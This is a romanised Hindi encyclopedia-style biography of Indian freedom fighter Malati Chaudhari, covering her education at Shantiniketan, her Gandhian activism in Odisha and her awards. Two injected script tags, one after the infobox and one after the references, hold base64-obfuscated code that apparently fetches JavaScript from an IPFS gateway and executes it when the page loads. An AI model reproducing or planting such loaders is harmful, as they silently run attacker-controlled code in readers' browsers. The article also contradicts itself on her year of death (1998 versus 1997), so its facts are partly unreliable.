मालती चौधरी
malati chaudhari
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| poora nam | malati devi chaudhari |
| janm | 26 julaee, 1904 |
| janm bhoomi | poorvi bangal |
| mrityu | 15 march, 1998 |
| abhibhavak | pita- bairistar kumud nath sen mata- snehalata sen |
| pati/patni | nabakrishnaa chaudhari |
| nagarikata | bharatiy |
| prasiddhi | svatantrata senani tatha gaandhivadi neta |
| sanbandhit lekh | raviandranath taigor, mahatma gaandhi, shaanti niketan, bharatiy rashtriy kaangres |
| any janakari | malati chaudhari bhoodan aandolan ke dauran vinoba bhave ke sath thian. vah apani noakhali yatra ke dauran gaandhiji se ju dian. gaandhiji ne unhean pyar se ‘toophani’ kaha to raviandranath taigor ne ‘minoo’. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>malati devi chaudhari (aangrezi: Malati Devi Choudhury, janm- 26 julaee, 1904, poorvi bangal; mrityu- 15 march, 1998) bharatiy svatantrata senani tatha gaandhivadi thian. san 1921 mean, solah sal ki umr mean malati chaudhari ko shaanti niketan bheja gaya, jahaan unhean vishv bharati mean bharti karaya gaya. unhoanne nabakrishnaa chaudhari se vivah kiya tha, jo bad mean odisha ke mukhyamantri bane. namak satyagrah ke dauran malati chaudhari aur unake pati bharatiy rashtriy kaangres mean shamil ho ge aur aandolan mean bhag liya. unhoanne satyagrah ke lie anukool vatavaran banane ke lie logoan ke sath sanvad kiya.
parichay
malati chaudhari ka janm 26 julaee, 1904 mean hua tha. vah ek brahman parivar se thian. unake pita bairistar kumud nath sen ki mrityu tab huee jab vah keval dhaee sal kian thian. unaki maan snehalata sen ek achchhi lekhika thian, jinhoanne 'jugalanjali' likhi aur raviandranath taigor ki kuchh kritiyoan ka anuvad kiya. malati chaudhari ki prishthabhoomi achchhi thi. unake nana baharilal gupta ek aeesies adhikari the. unake do chachere bhaee ranjit gupta pashchim bangal ke poorv mukhy sachiv the aur iandrajit gupta poorv grihamantri the. unake do bhaee pi. ke. sen poorv ayakar ayukt the aur ke. pi. sen bharatiy dak seva ke poorv adhikari the.[1]
shaanti niketan mean agaman
16 sal ki umr mean malati chaudhari ko shaanti niketan bheja gaya, jahaan unhean taigor dvara sthapit 'vishvabharati' mean bharti karaya gaya. vah bahut bhagyashali thian ki unhean shaantiniketan mean raviandranath taigor se sidhe jnan prapt karane ka mauka mila. shaanti niketan mean malati ne n keval digri prapt ki, balki vibhinn prakar ki kala aur sanskriti mean bhi vishal jnan prapt kiya. malati chaudhari taigor ke siddhaantoan, shiksha aur vikas aur deshabhakti ke vicharoan se behad prabhavit thian. gurudev ne pyar se unhean ‘minoo’ kaha.
vivah
malati chaudhari nabakrishnaa chaudhari ke nikat sanpark mean aeean, jo sabaramati ashram se shaantiniketan mean padhaee karane aye the. unhoanne 1927 mean nabakrishnaa chaudhari se shadi ki. shadi ke bad ve u disa mean bas geean aur gramin vikas ke bare mean kee tarah ki samajik gatividhiyaan shuroo kian. unhoanne ganne ki kheti ko behatar banane mean garib kisan ki madad ki. unhoanne asapas ke gaanvoan mean bhi vayask shiksha shuroo ki.
yogadan
- namak satyagrah ke samay malati chaudhari aur unake pati bharatiy rashtriy kaangres mean shamil ho ge. unhean giraphtar kar jel bhej diya gaya. jeloan mean unhoanne sathi kaidiyoan ko padhaya aur gaandhiji ke vicharoan aur vicharoan ka prachar kiya.
- 1933 mean unhoanne apane pati ke sath 'utkal kaangres samajavadi karm sangh' ka gathan kiya. bad mean is sangathan ko 'akhil bharatiy kaangres soshalist parti' ki u disa praantiy shakha ke roop mean jana jane laga.
- 1934 mean malati chaudhari u disa mean apani prasiddh padayatra mean gaandhiji ke sath shamil hueean.
- 1946 mean malati chaudhari ne u disa ke aangul mean 'bajiravat chhatravas' aur 1948 mean 'utkal navajivan mandal' ki sthapana ki.
- bajirav chhatravas ka gathan svatantrata senaniyoan, anusoochit jatiyoan, anusoochit janajatiyoan, any pichh de vargoan aur samaj ke visheshadhikar prapt vargoan ke bachchoan ke bich shiksha ka prasar karane ke lie kiya gaya tha.
- utkal navajivan mandal ne mukhy roop se u disa mean gramin vikas aur adivasi kalyan ke lie kam kiya. malati chaudhari ne chanpatimuanda mean post besik skool ki sthapana bhi ki.
- shiksha aur gramin kshetr mean apani mahan bhoomika ke lie unhoanne khud ko ek samarpit svatantrata senani ke roop mean sthapit kiya.
- malati chaudhari bhoodan aandolan ke dauran vinoba bhave ke sath thian. vah apani noakhali yatra ke dauran gaandhiji se ju dian. gaandhiji ne unhean pyar se ‘toophani’ kaha. unhoanne 'krisak aandolan' ka netritv kiya jisase garib kisanoan ko bhoosvamiyoan aur sahookaroan ki pak d se bachaya ja sake.[1]
sanvidhan sabha ki sadasy
san 1946 mean malati chaudhari ko bharat ki sanvidhan sabha ke sadasy ke roop mean chuna gaya. vah utkal pradesh kaangres samiti ke adhyaksh ke roop mean bhi chuni gee thi6. ajadi ke bad unhoanne pichh de vargoan ke lie sangharsh karana jari rakha. jab unake pati ne odisha ke mukhyamantri ke roop mean kary kiya, to unhoanne u disa mean vibhinn gramin punarnirman yojana shuroo ki. jab apat kal ka vada kiya gaya tha, tab malati chaudhari ne iandira gaandhi sarakar ki niti ka virodh kiya. unhean jel mean dal diya gaya tha.
puraskar v samman
malati chaudhari ko rashtr ke prati samarpan ke lie kee puraskar mile, jinamean bal kalyan ke lie rashtriy puraskar (1987), jamanalal bajaj puraskar (1988), utkal seva samman (1994), taigor litaresi avard (1995), lokasabha aur rajy sabha dvara sanvidhan sabha (1997) ki pahali baithak ki 50 vian varshagaanth ke avasar par samman, rajy samaj kalyan salahakar bord (1997) dvara samman, rajy mahila ayog dvara samman (1997) adi haian.[1]
mrityu
san 1997 mean 93 sal ki umr mean malati chaudhari ka nidhan hua.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 malati chaudhari, bharatiy svatantrata senani (hiandi) gktoday.in. abhigaman tithi: 06 faravari, 2020.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
- REDIRECTsaancha:svatantrata senani